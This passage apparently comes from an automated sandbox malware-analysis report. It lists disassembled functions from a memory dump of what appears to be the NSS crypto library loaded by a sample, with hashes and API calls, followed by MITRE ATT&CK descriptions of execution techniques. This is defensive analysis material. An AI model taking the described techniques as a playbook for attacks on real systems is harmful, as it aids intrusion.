PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CD75F17,?,?,?,?,?,?,?,?,6CD7AAD4), ref: 6CD8ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CD7AAD4), ref: 6CD8ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CD7AAD4), ref: 6CD8ACDB

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: ae1926e91274697f600d3ea97d743d21ed637384d45e36515f1f8f262841a230
Instruction ID: a07a6b61ef6bf57ae10321755458129b084008c6af3bec285f5d9109bcec0cfb
Opcode Fuzzy Hash: ae1926e91274697f600d3ea97d743d21ed637384d45e36515f1f8f262841a230
Instruction Fuzzy Hash: 1D014CB5702B159BE760EF2AD908753B7E8BF00659B104839D85EC3A50E731F454CB91

Function 6CCF1DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CCF1DFB

Part of subcall function 6CCE95B0: TlsGetValue.KERNEL32(00000000,?,6CD000D2,00000000), ref: 6CCE95D2
Part of subcall function 6CCE95B0: EnterCriticalSection.KERNEL32(?,?,?,6CD000D2,00000000), ref: 6CCE95E7
Part of subcall function 6CCE95B0: PR_Unlock.NSS3(?,?,?,?,6CD000D2,00000000), ref: 6CCE9605

PR_EnterMonitor.NSS3 ref: 6CCF1E09

Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA90AB
Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA90C9
Part of subcall function 6CDA9090: EnterCriticalSection.KERNEL32 ref: 6CDA90E5
Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA9116
Part of subcall function 6CDA9090: LeaveCriticalSection.KERNEL32 ref: 6CDA913F

Part of subcall function 6CCEE190: PR_EnterMonitor.NSS3(?,?,6CCEE175), ref: 6CCEE19C
Part of subcall function 6CCEE190: PR_EnterMonitor.NSS3(6CCEE175), ref: 6CCEE1AA
Part of subcall function 6CCEE190: PR_ExitMonitor.NSS3 ref: 6CCEE208
Part of subcall function 6CCEE190: PL_HashTableRemove.NSS3(?), ref: 6CCEE219
Part of subcall function 6CCEE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CCEE231
Part of subcall function 6CCEE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CCEE249
Part of subcall function 6CCEE190: PR_ExitMonitor.NSS3 ref: 6CCEE257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCF1E37
PR_ExitMonitor.NSS3 ref: 6CCF1E4A

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 1b20ae361af7d0593dc94ec529ea18d08700ab0849dfdeef249c99f5026f2e23
Instruction ID: 6d427fc5af9c837def5de3d041489307f169510f9248cb4914153ed76bc39926
Opcode Fuzzy Hash: 1b20ae361af7d0593dc94ec529ea18d08700ab0849dfdeef249c99f5026f2e23
Instruction Fuzzy Hash: 750184B1B0015097EB505B6EEC08F467774BF5275CF204135D52897B91F731E826CB91

Function 6CCF1D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCF1D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CCF1D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CCF1D9C
free.MOZGLUE(00000000), ref: 6CCF1DB8

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 73fb27c07c01ca3550c4b12eff32113b899ff17854aa20dfd48a61bdedce54e0
Instruction ID: 926ced1d5968ac28c462ba2f3049a895ca5016ad59d23291251dd193c8a535ce
Opcode Fuzzy Hash: 73fb27c07c01ca3550c4b12eff32113b899ff17854aa20dfd48a61bdedce54e0
Instruction Fuzzy Hash: E3F0D6F264121057EB515B1E6C41B873668AF917A8F110275DA2987B90F761E40682F1

Function 6CD8AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CD75D40,00000000,?,?,6CD66AC6,6CD7639C), ref: 6CD8AC2D

Part of subcall function 6CD2ADC0: TlsGetValue.KERNEL32(?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AE10
Part of subcall function 6CD2ADC0: EnterCriticalSection.KERNEL32(?,?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AE24
Part of subcall function 6CD2ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CD0D079,00000000,00000001), ref: 6CD2AE5A
Part of subcall function 6CD2ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AE6F
Part of subcall function 6CD2ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AE7F
Part of subcall function 6CD2ADC0: TlsGetValue.KERNEL32(?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AEB1
Part of subcall function 6CD2ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AEC9

PK11_FreeSymKey.NSS3(?,6CD75D40,00000000,?,?,6CD66AC6,6CD7639C), ref: 6CD8AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CD75D40,00000000,?,?,6CD66AC6,6CD7639C), ref: 6CD8AC59
free.MOZGLUE(8CB6FF01,6CD66AC6,6CD7639C,?,?,?,?,?,?,?,?,?,6CD75D40,00000000,?,6CD7AAD4), ref: 6CD8AC62

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 77f7859314550c60ce8cc51927d392fc2e1c8646ac81ac36681d50fc55f15bbd
Instruction ID: 713fb39c9e759a7cb525e558addf2f8f108098bb3ab4927896e8c279455c00a3
Opcode Fuzzy Hash: 77f7859314550c60ce8cc51927d392fc2e1c8646ac81ac36681d50fc55f15bbd
Instruction Fuzzy Hash: C70128B9601214DBDB10DF15E8C0B4677A8EB44B5CF1880A8E94D8F756E735E848CBB2

Function 6CD3FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CCE9003,?), ref: 6CD3FD91

Part of subcall function 6CD40BE0: malloc.MOZGLUE(6CD38D2D,?,00000000,?), ref: 6CD40BF8
Part of subcall function 6CD40BE0: TlsGetValue.KERNEL32(6CD38D2D,?,00000000,?), ref: 6CD40C15

PORT_Alloc_Util.NSS3(A4686CD4,?), ref: 6CD3FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CD4,?,?), ref: 6CD3FDC4
free.MOZGLUE(00000000,?,?), ref: 6CD3FDD1

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: d467b0a934c0eb982c7131cc3f4786029216d4459cf095c3feb57662130774ba
Instruction ID: 1e01297eadd563a6cf800cc930a52d28c431e04b4f873b28333e9a0c7d9903d8
Opcode Fuzzy Hash: d467b0a934c0eb982c7131cc3f4786029216d4459cf095c3feb57662130774ba
Instruction Fuzzy Hash: D3F028B160231A9BEB014B58EC848277768EF51298B108074EE0D8BB21E731E815C3F2

Function 6CDFCC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CDFCC61
free.MOZGLUE ref: 6CDFCC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CDFCC80
free.MOZGLUE(?), ref: 6CDFCC87

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: c1b21e81eff4ad28a21dd1e2be8e84af16413809cff5d4b421ab86e752a51d25
Instruction ID: 9e78f3e7b7a44a3f64ffcf1c53d8a9629f46cbe76959e65103d25e999287b866
Opcode Fuzzy Hash: c1b21e81eff4ad28a21dd1e2be8e84af16413809cff5d4b421ab86e752a51d25
Instruction Fuzzy Hash: 72E030767006189BCA10EFA8DC4489677BCEF492703150A25E695C3700D231F905CBA1

Function 6CCD9DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CCD9E1F

Part of subcall function 6CC913C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CC62352,?,00000000,?,?), ref: 6CC91413
Part of subcall function 6CC913C0: memcpy.VCRUNTIME140(00000000,6CC62352,00000002,?,?,?,?,6CC62352,?,00000000,?,?), ref: 6CC914C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6CCDA006
ESCAPE expression must be a single character, xrefs: 6CCD9F78

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: ac523f589a18d8f02b67e155fcd67198427df6ad4dbe8a5aca3bfd6cdc766873
Instruction ID: e514ee9699228f01cc4aef7d2294f3ffd04fc9eca85a366b40581fc3660c4787
Opcode Fuzzy Hash: ac523f589a18d8f02b67e155fcd67198427df6ad4dbe8a5aca3bfd6cdc766873
Instruction Fuzzy Hash: A4811D78A042554BD700CF25C0A03ADB7F2BF45318F1A8659D9A98BB91FB35F846C791

Function 6CD34D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CD34D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CD34DE6

Strings

%d.%d, xrefs: 6CD34DDE

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 6c2d6f9797c32a8a6b95921d3de4bad4a6313a210e70901dff69cf74e763a018
Instruction ID: 41af3a2dee62b2f61c7511d48e64f82dba2ea0c3649e31ace73d599bc1001606
Opcode Fuzzy Hash: 6c2d6f9797c32a8a6b95921d3de4bad4a6313a210e70901dff69cf74e763a018
Instruction Fuzzy Hash: 69312EB2D042286BEB105B61AC01BFF7B78DF41308F050429ED599B791EB359905CBB1

Function 6CD7AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CD7AF78

Part of subcall function 6CCDACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCDACE2
Part of subcall function 6CCDACC0: malloc.MOZGLUE(00000001), ref: 6CCDACEC
Part of subcall function 6CCDACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CCDAD02
Part of subcall function 6CCDACC0: TlsGetValue.KERNEL32 ref: 6CCDAD3C
Part of subcall function 6CCDACC0: calloc.MOZGLUE(00000001,?), ref: 6CCDAD8C
Part of subcall function 6CCDACC0: PR_Unlock.NSS3 ref: 6CCDADC0
Part of subcall function 6CCDACC0: PR_Unlock.NSS3 ref: 6CCDAE8C
Part of subcall function 6CCDACC0: free.MOZGLUE(?), ref: 6CCDAEAB

memcpy.VCRUNTIME140(6CE43084,6CE402AC,00000090), ref: 6CD7AF94

Strings

SSL, xrefs: 6CD7AF73

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 4cb83bf54bb75fe3c0a0cf7a71e1080eb3d5f7d6f2a0233e79b08e0168e47ac5
Instruction ID: 21cb58c03b0d7edbe13ba686534c65dea57a58d9ca4184fcf35ae2b81f80248f
Opcode Fuzzy Hash: 4cb83bf54bb75fe3c0a0cf7a71e1080eb3d5f7d6f2a0233e79b08e0168e47ac5
Instruction Fuzzy Hash: 62215BB2705A48AECB24FF91A84B7537AB1B38224EF21D21DC1180BFB4D771405A9FE5

Function 6CCD0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CCD0936,FFFFE8AE,?,6CC616B7,00000000,?,6CCD0936,00000000,?,6CC6204A), ref: 6CCD0F1B

Part of subcall function 6CCD1370: GetSystemInfo.KERNEL32(?,?,?,?,6CCD0936,?,6CCD0F20,6CCD0936,FFFFE8AE,?,6CC616B7,00000000,?,6CCD0936,00000000), ref: 6CCD138F

PR_NewLogModule.NSS3(clock,6CCD0936,FFFFE8AE,?,6CC616B7,00000000,?,6CCD0936,00000000,?,6CC6204A), ref: 6CCD0F25

Part of subcall function 6CCD1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CCD0936,00000001,00000040), ref: 6CCD1130
Part of subcall function 6CCD1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CCD0936,00000001,00000040), ref: 6CCD1142
Part of subcall function 6CCD1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CCD0936,00000001), ref: 6CCD1167

Strings

clock, xrefs: 6CCD0F20

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 15682a2b95920eb6fdf32a465e8880f5eb518f58568ae539ee9ae3a6799b77de
Instruction ID: 50821e79b079099618a781391e9950ef74eda5770ca8a5993533da4d7813ecd9
Opcode Fuzzy Hash: 15682a2b95920eb6fdf32a465e8880f5eb518f58568ae539ee9ae3a6799b77de
Instruction Fuzzy Hash: BDD01231A0414455C521769F9C45B96B6FCC7D327EF119836E208C1D105A64B4EBD2A5

Function 6CD40DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CD40DF5
TlsGetValue.KERNEL32 ref: 6CD40E2D
TlsGetValue.KERNEL32 ref: 6CD40E58
TlsGetValue.KERNEL32 ref: 6CD40E84

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 26b35b0c33c3289214c70e5835760ae1f107d4665feb70fcb09ebe26c7819a1f
Instruction ID: db11769a7a99b7343ea56050f5c021b3501e13a7d2ca3eaf8e450c6c886d34af
Opcode Fuzzy Hash: 26b35b0c33c3289214c70e5835760ae1f107d4665feb70fcb09ebe26c7819a1f
Instruction Fuzzy Hash: 6231C5B0644385CBDB106F7CC484A597BF4BF55388F01C679DA98CBA21EB34E4A5CB81

Function 6CD40F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CCE2AF5,?,?,?,?,?,6CCE0A1B,00000000), ref: 6CD40F1A
malloc.MOZGLUE(00000001), ref: 6CD40F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CD40F42
TlsGetValue.KERNEL32 ref: 6CD40F5B

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 0b2c7d5318a8d3f800540fc2099be7a70ec212af4507758fac069703ce2cce60
Instruction ID: 0c733bdb753473cf27a3463ae9c3c2c62649def1f2b4e0d38dd22cd198b4dcfc
Opcode Fuzzy Hash: 0b2c7d5318a8d3f800540fc2099be7a70ec212af4507758fac069703ce2cce60
Instruction Fuzzy Hash: 1201F9B1A1025097E710273E9D045567AECEF62299B014231DE5CC3A31E730E805C5E2

Function 6CCF1EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CCF1ECE
free.MOZGLUE(?), ref: 6CCF1EDF
free.MOZGLUE(?), ref: 6CCF1EEF
free.MOZGLUE(?), ref: 6CCF1EF5

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d1a5eb29b88e53b66e4e54fab4c8938847d30e42bdd954096ac0d8df405478f9
Instruction ID: 639a49f26555322b5a5d5ca618755dbf7603e71f568650b611554f6c8abfcfd5
Opcode Fuzzy Hash: d1a5eb29b88e53b66e4e54fab4c8938847d30e42bdd954096ac0d8df405478f9
Instruction Fuzzy Hash: 89F0E2F17002096BEB10EB6ADC89E6773BCFF452A4B040434EC2EC3A00E725F42197A2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
